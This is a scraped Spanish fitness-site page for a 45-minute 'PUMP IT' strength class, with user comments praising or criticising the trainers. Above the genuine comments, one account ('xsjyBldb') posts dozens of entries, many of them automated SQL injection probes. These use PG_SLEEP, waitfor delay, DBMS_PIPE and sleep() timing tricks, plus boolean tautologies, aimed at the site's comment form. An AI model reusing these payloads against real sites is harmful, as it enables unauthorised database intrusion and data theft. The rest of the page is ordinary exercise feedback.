Better Naked Club

Inicia sesión para ver el vídeo

betterfuerza

45 Min

PUMP IT: 45 minutos de trabajo “full body” de fuerza y resistencia al ritmo de la música. Realizado con peso medio-ligero para poder mantener la musculatura en tensión durante toda una canción.

280

Calorías Aprox.

Alta

Intensidad

Comentarios (124) expand_more

Dejar un comentario

xsjyBldb

2025-06-05 10:10:34

555

xsjyBldb

2025-06-05 09:24:38

555

xsjyBldb

2025-06-05 09:24:38

555

xsjyBldb

2025-06-05 09:24:37

555

xsjyBldb

2025-06-05 09:24:37

555

xsjyBldb

2025-06-05 09:24:37

555

xsjyBldb

2025-06-05 09:24:36

555

xsjyBldb

2025-06-05 09:24:36

555

xsjyBldb

2025-06-05 09:24:36

555

xsjyBldb

2025-06-05 09:24:35

555

xsjyBldb

2025-06-05 09:24:35

555

xsjyBldb

2025-06-05 09:24:34

555

xsjyBldb

2025-06-05 09:24:34

555

xsjyBldb

2025-06-05 09:24:33

555

xsjyBldb

2025-06-05 09:24:33

555

xsjyBldb

2025-06-05 09:24:32

555

xsjyBldb

2025-06-05 09:24:32

555

xsjyBldb

2025-06-05 09:24:32

555

xsjyBldb

2025-06-05 09:24:31

555

xsjyBldb

2025-06-05 09:24:30

555

xsjyBldb

2025-06-05 09:24:30

555

xsjyBldb

2025-06-05 09:24:30

555

xsjyBldb

2025-06-05 09:24:29

555

xsjyBldb

2025-06-05 09:24:29

555

xsjyBldb

2025-06-05 09:24:29

555

xsjyBldb

2025-06-05 09:24:28

555

xsjyBldb

2025-06-05 09:24:28

555

xsjyBldb

2025-06-05 09:24:28

555

xsjyBldb

2025-06-05 09:24:26

555

xsjyBldb

2025-06-05 09:24:26

555

xsjyBldb

2025-06-05 09:24:18

555

xsjyBldb

2025-06-05 09:24:17

555

xsjyBldb

2025-06-05 09:24:16

555

xsjyBldb

2025-06-05 09:24:15

555

xsjyBldb

2025-06-05 09:24:14

555

xsjyBldb

2025-06-05 09:24:13

555

xsjyBldb

2025-06-05 09:24:00

@@KTbRJ

xsjyBldb

2025-06-05 09:24:00

555

xsjyBldb

2025-06-05 09:24:00

555

xsjyBldb

2025-06-05 09:23:59

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

2025-06-05 09:23:59

1'"

xsjyBldb

2025-06-05 09:23:58

kBNbAdDl')) OR 479=(SELECT 479 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:58

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

2025-06-05 09:23:57

0f4y2BI2' OR 521=(SELECT 521 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:57

UohycNUV') OR 621=(SELECT 621 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:56

-5 OR 759=(SELECT 759 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:56

-5) OR 857=(SELECT 857 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:56

-1)) OR 828=(SELECT 828 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:23:55

-1); waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:23:55

1 waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:23:55

Ek4o8dgK'; waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:23:54

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

2025-06-05 09:23:54

-1; waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:23:53

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

2025-06-05 09:23:53

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

2025-06-05 09:23:52

if(now()=sysdate(),sleep(15),0)

xsjyBldb

2025-06-05 09:23:52

-1" OR 2+241-241-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:23:51

-1' OR 2+683-683-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:23:51

-1' OR 2+436-436-1=0+0+0+1 or 'l8CYsfeR'='

xsjyBldb

2025-06-05 09:23:50

Uqj16Uxz

xsjyBldb

2025-06-05 09:23:50

-1 OR 2+530-530-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:23:50

-1 OR 2+941-941-1=0+0+0+1

xsjyBldb

2025-06-05 09:23:49

555

xsjyBldb

2025-06-05 09:23:49

555

xsjyBldb

2025-06-05 09:23:40

555

xsjyBldb

2025-06-05 09:23:39

555

xsjyBldb

2025-06-05 09:23:04

555

xsjyBldb

2025-06-05 09:22:52

@@8Bthx

xsjyBldb

2025-06-05 09:22:51

1'"

xsjyBldb

2025-06-05 09:22:50

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

2025-06-05 09:22:49

6WsXc75B')) OR 791=(SELECT 791 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:49

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

2025-06-05 09:22:48

aYuCIyZr' OR 670=(SELECT 670 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:48

h1DlvrQW') OR 464=(SELECT 464 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:47

-5 OR 469=(SELECT 469 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:47

-5) OR 83=(SELECT 83 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:47

-1)) OR 163=(SELECT 163 FROM PG_SLEEP(15))--

xsjyBldb

2025-06-05 09:22:46

1 waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:22:46

jDVNyaGp'; waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:22:45

-1; waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:22:45

-1); waitfor delay '0:0:15' --

xsjyBldb

2025-06-05 09:22:44

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

2025-06-05 09:22:44

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

2025-06-05 09:22:44

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

2025-06-05 09:22:43

-1" OR 2+717-717-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:22:43

if(now()=sysdate(),sleep(15),0)

xsjyBldb

2025-06-05 09:22:42

-1' OR 2+401-401-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:22:42

-1' OR 2+412-412-1=0+0+0+1 or 'W7HOs2PB'='

xsjyBldb

2025-06-05 09:22:41

1LF5yPrq

xsjyBldb

2025-06-05 09:22:41

-1 OR 2+671-671-1=0+0+0+1 --

xsjyBldb

2025-06-05 09:22:41

-1 OR 2+381-381-1=0+0+0+1

xsjyBldb

2025-06-05 09:22:40

xsjyBldb

2025-06-05 09:22:40

Adri Sol

2023-10-03 09:41:21

buenoo

ISABEL ALVAREZ GARCIA

2023-08-25 11:14:31

sois los mejores!!

ISABEL ALVAREZ GARCIA

2023-05-27 14:26:44

oleeeee!! Mas clases de Pump It!!!

Noemi Alguacil Carneros

2023-05-27 10:03:25

la parte de Edurne es difícil de seguir, falta un patrón de trabajo

Sara

2023-05-26 10:20:01

super entreno! hugo es lo mas!

EMMA FERNÁNDEZ

2023-05-23 14:17:30

Me encantan los pump it! Ojalá más!! Mucho mejor la parte de Hugo!

Lina El Tayan Tayan

2023-05-23 05:55:37

para hacer 1 vez a la semana, que buenisima!

Mayte Vicente

2023-05-22 08:03:57

Mas de estas sesiones!! me ha encantado!!!!

Ana Paños

2023-05-22 07:02:50

Buena clase,una pena que los ejercicios realmente no vayan acompañados con la música. Cada truck debe ir con su música

Maika Lahidalga Alvarez

2023-05-21 20:19:28

Me ha encantado!! No me cansaré de decirlo, Hugo, eres el mejor!

Silvia Iglesias Fanjul

2023-05-21 15:52:59

Buenísimo!! gracias chicos!

C María Millán

2023-05-21 14:36:14

Edurne es muy maja pero regu para pumpit porq ni iba con la música ni explicaba a tiempo. 3, 2, 1 y luego decía lo q había q hacer.. A partir del min 20: FABULOSO, eres magistral Hugo.

Pilar Navarro Sánchez

2023-05-21 13:28:40

Fantástica!!!!vaya 2 cracks!!!Gracias!!

Sara Bono Martinez

2023-05-21 13:12:33

una fantasiaaaa de entrenamiento, sois los mejores !,,,

Simona salzano

2023-05-21 11:49:37

hugo eres genial😍😍

Isabel Lafuente

2023-05-21 09:10:44

entrenamiento completo, duro y divertido

Teresa

2023-05-20 18:55:08

Que buena clase. Hugo que buen trabajo haces y que buenas explicaciones. Gracias

prosa87

2023-05-20 12:26:21

buenisima clase! Hugo y Edurne top!!

Carmen Perez Perez

2023-05-20 11:25:11

que bueniiiisimo ...quermos masssss

Carmen Villanueva

2023-05-20 10:34:22

💥

Elvira

2023-05-20 09:42:29

Muerta!!!! pero contenta, gracias buen finde

Almudena Rodríguez Sobrino

2023-05-20 09:30:39

Feliz!!pero muertamata despues del entrenamiento

Lola Pozo Sánchez

2023-05-19 23:14:57

Madre mía!! Me ha encantado

Ana Naranjo Martínez

2023-05-19 20:49:57

brutal

Isabel Rivero

2023-05-19 20:46:04

Fantástica..!!

Maria Lumbreras

2023-05-19 20:06:52

HUGO the best!!! jamas defrauda!!! 💪🏼💪🏼💪🏼

Liz Duncan

2023-05-19 17:21:50

Me ha encantado. Gracias chic@s!!

Eva Valtierra Diaz

2023-05-19 13:05:23

Non stop 🛑

Lucía Bustamante Hidalgo

2023-05-19 11:54:51

Muy buena sesión¡¡

MARTA SUAREZ MASSO

2023-05-19 10:13:08

Fan declarada de las sesiones PUMP IT!! maestro, a sus pies! Siempre aprendiendo más y más

Lucia Fernandez

2023-05-19 06:55:41

muy chula!!

Equipamiento

Entrenadores

Hugo Seriñán
Edurne

Eliminar de favoritos

Añadir a favoritos

betterfuerza

ENTRENAMIENTOS RELACIONADOS